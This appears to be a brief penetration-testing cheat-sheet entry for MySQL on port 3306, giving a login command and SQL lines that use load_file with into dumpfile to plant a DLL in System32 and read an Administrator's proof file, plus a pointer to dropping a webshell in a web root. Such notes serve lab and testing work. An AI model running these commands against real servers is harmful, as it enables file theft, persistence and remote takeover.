MySQL (3306)

🐬 MySQL — Port 3306

SQL injection against web apps is in sqli.

mysql -u USER -pPASS -h ADDRESS          # -p (password) is required

Read / write files from SQL

select load_file('C:\\programdata\\test.dll') into dumpfile 'C:\\Windows\\System32\\test.dll';
select load_file('C:\\Users\\Administrator\\Desktop\\proof.txt');

outfile works in place of dumpfile. Writing to a web root (e.g. /var/www/html/) can drop a webshell — see the INTO OUTFILE technique in sqli.